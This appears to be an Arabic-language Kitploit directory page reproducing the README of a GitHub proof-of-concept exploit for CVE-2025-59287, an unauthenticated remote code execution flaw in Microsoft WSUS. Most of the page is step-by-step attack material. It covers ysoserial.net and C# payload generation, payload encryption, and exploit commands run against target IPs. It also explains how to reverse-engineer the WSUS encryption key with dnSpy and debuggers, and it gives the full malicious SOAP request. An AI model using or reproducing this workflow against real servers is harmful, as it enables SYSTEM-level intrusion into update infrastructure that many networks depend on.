Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-59287-exploit-poc — إثبات مفهوم لاستغلال CVE-2025-59287، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة غير مصادق عليها في WSUS عبر إلغاء تسلسل غير آمن لـ BinaryFormatter، مما يحقق صلاحيات SYSTEM من خلال ملفات تعريف ارتباط مشفرة مصممة خصيصًا. | Kitploit
أدوات/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

إثبات مفهوم لاستغلال CVE-2025-59287، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة غير مصادق عليها في WSUS عبر إلغاء تسلسل غير آمن لـ BinaryFormatter، مما يحقق صلاحيات SYSTEM من خلال ملفات تعريف ارتباط مشفرة مصممة خصيصًا.

عرض المستودع
128منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال إثبات المفهوم CVE-2025-59287

نظرة عامة على الثغرة

CVE-2025-59287 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في خدمة تحديث خوادم ويندوز (WSUS) من مايكروسوفت. تنتج الثغرة عن إلغاء تسلسل غير آمن لبيانات AuthorizationCookie عبر BinaryFormatter في طريقة EncryptionHelper.DecryptData().

التأثير: يمكن للمهاجمين غير المصادق عليهم تحقيق تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM عن طريق إرسال ملفات تعريف ارتباط مشفرة خبيثة إلى نقطة نهاية GetCookie().

درجة CVSS: حرجة (9.8)

تفاصيل الثغرة

  • المكوّن المتأثر: نقطة نهاية WSUS ClientWebService.asmx GetCookie()
  • السبب الجذري: استدعاء BinaryFormatter.Deserialize() على مدخلات غير موثوقة دون تحقق مناسب
  • ناقل الهجوم: ملف تعريف ارتباط مشفر خبيث يُرسل إلى نقطة نهاية SOAP الخاصة بـ GetCookie()
  • المصادقة المطلوبة: لا (RCE بدون مصادقة)
  • المنافذ المتأثرة: 8530 (HTTP)، 8531 (HTTPS)

البنية

┌─────────────────┐
│   المهاجم       │
│                 │
│  1. توليد       │
│     حمولة       │
│     BinaryFmt   │
│                 │
│  2. تشفير       │
│     الحمولة     │
│                 │
│  3. إرسال طلب   │
│     SOAP        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   خادم WSUS     │
│                 │
│  نقطة نهاية     │
│  GetCookie()    │
│                 │
│  DecryptData()  │◄─── ثغرة
│                 │
│  BinaryFormatter│◄─── إلغاء تسلسل غير آمن
│  Deserialize()  │
│                 │
│  تنفيذ          │◄─── RCE بصلاحيات SYSTEM
│  الحمولة        │
└─────────────────┘

هيكل الملفات

exploit-poc/
├── wsus_exploit.py                    # سكربت الاستغلال الرئيسي
├── BinaryFormatterPayloadGenerator.cs # مولّد الحمولة .NET (C#)
├── encrypt_payload.py                 # أداة تشفير WSUS المساعدة
├── requirements.txt                   # تبعيات بايثون
└── README.md                          # هذا الملف

المتطلبات الأساسية

بيئة بايثون

pip install -r requirements.txt

.NET Framework (لتوليد الحمولة)

  • ويندوز مع .NET Framework 4.0 أو أحدث
  • أو استخدام ysoserial.net كبديل

الاستخدام

الطريقة 1: سير العمل الكامل

الخطوة 1: توليد حمولة BinaryFormatter

الخيار أ: باستخدام مولّد C# المرفق

# ترجمة المولّد
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# توليد الحمولة
BinaryFormatterPayloadGenerator.exe calc.exe
# يُنشئ: payload_YYYYMMDDHHMMSS.bin

الخيار ب: باستخدام ysoserial.net (موصى به)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

الخطوة 2: تشفير الحمولة

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

مهم: مفتاح التشفير في encrypt_payload.py هو عنصر نائب. للاستغلال الفعلي، يجب عليك:

  1. هندسة عكسية لمفتاح التشفير الفعلي من ملفات WSUS الثنائية
  2. تحديث encrypt_payload.py بالمفتاح الحقيقي
  3. راجع قسم "العثور على مفتاح تشفير WSUS" أدناه

الخطوة 3: تنفيذ الاستغلال

# باستخدام ملف الحمولة (سيتم التشفير أثناء التنفيذ)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# باستخدام ملف تعريف ارتباط مشفر مسبقًا
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# مع HTTPS (المنفذ 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

الطريقة 2: اختبار سريع

# توليد وتشفير واستغلال في خطوة واحدة
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

العثور على مفتاح تشفير WSUS الفعلي

يجب استخراج مفتاح التشفير من ملفات WSUS الثنائية للاستغلال الفعلي.

الطريقة 1: الهندسة العكسية باستخدام dnSpy

  1. تحديد موقع ملفات WSUS DLL:

    %ProgramFiles%\Update Services\WebServices\bin\
    

    أو دليل ويب IIS:

    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. الفتح في dnSpy (مفكك .NET مجاني):

    • التحميل: https://github.com/dnSpy/dnSpy
    • فتح Microsoft.UpdateServices.WebServices.dll
  3. البحث عن EncryptionHelper:

    • الانتقال إلى: مساحة أسماء Microsoft.UpdateServices.WebServices
    • العثور على فئة EncryptionHelper
    • الاطلاع على طريقتي DecryptData() و EncryptData()
    • استخراج مفتاح التشفير والخوارزمية
  4. الأنماط الشائعة:

    • مصفوفات بايت مكتوبة بشكل ثابت
    • ثوابت نصية
    • اشتقاق المفتاح من GUID/SID للجهاز

الطريقة 2: التحليل أثناء التشغيل

  1. استخدام WinDbg أو x64dbg:

    • تعيين نقطة توقف على EncryptionHelper.DecryptData()
    • فحص الذاكرة/السجلات لمواد المفتاح
    • مراقبة عمليات التشفير/فك التشفير
  2. استخدام Process Monitor:

    • التصفية حسب عملية WSUS
    • البحث عن الوصول إلى السجل/ملفات التكوين
    • قد تكون المفاتيح مخزنة في السجل

الطريقة 3: التحليل الثابت

  1. استخدام IDA Pro أو Ghidra:

    • تحميل ملفات WSUS الثنائية
    • البحث عن سلاسل متعلقة بالتشفير
    • تحليل خوارزميات اشتقاق المفاتيح
  2. استخدام أداة strings:

    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

تحديث الاستغلال

بمجرد حصولك على المفتاح الفعلي، قم بتحديث encrypt_payload.py:

# استبدل هذا السطر في encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # عنصر نائب

# بالمفتاح الفعلي:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

أو مرره عبر سطر الأوامر:

python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

تدفق الاستغلال

┌─────────────────────────────────────────────────────────────┐
│ 1. توليد حمولة BinaryFormatter                               │
│    ObjectDataProvider → Process.Start() → تنفيذ الأوامر      │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. تشفير الحمولة                                             │
│    AES-128-CBC مع مفتاح تشفير WSUS                          │
│    ترميز Base64 للإرسال                                      │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. إنشاء طلب SOAP                                            │
│    رأس AuthorizationCookie يحتوي على الحمولة المشفرة         │
│    طريقة GetCookie() في جسم SOAP                             │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. الإرسال إلى نقطة نهاية WSUS                               │
│    POST /ClientWebService/ClientWebService.asmx              │
│    المنفذ 8530 (HTTP) أو 8531 (HTTPS)                        │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. معالجة WSUS                                               │
│    DecryptData() يفك تشفير ملف تعريف الارتباط                │
│    BinaryFormatter.Deserialize() ينفذ الحمولة                │
│    → RCE بصلاحيات SYSTEM                                     │
└─────────────────────────────────────────────────────────────┘

هيكل طلب SOAP

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>

تفاصيل توليد الحمولة

تنزيل الأداة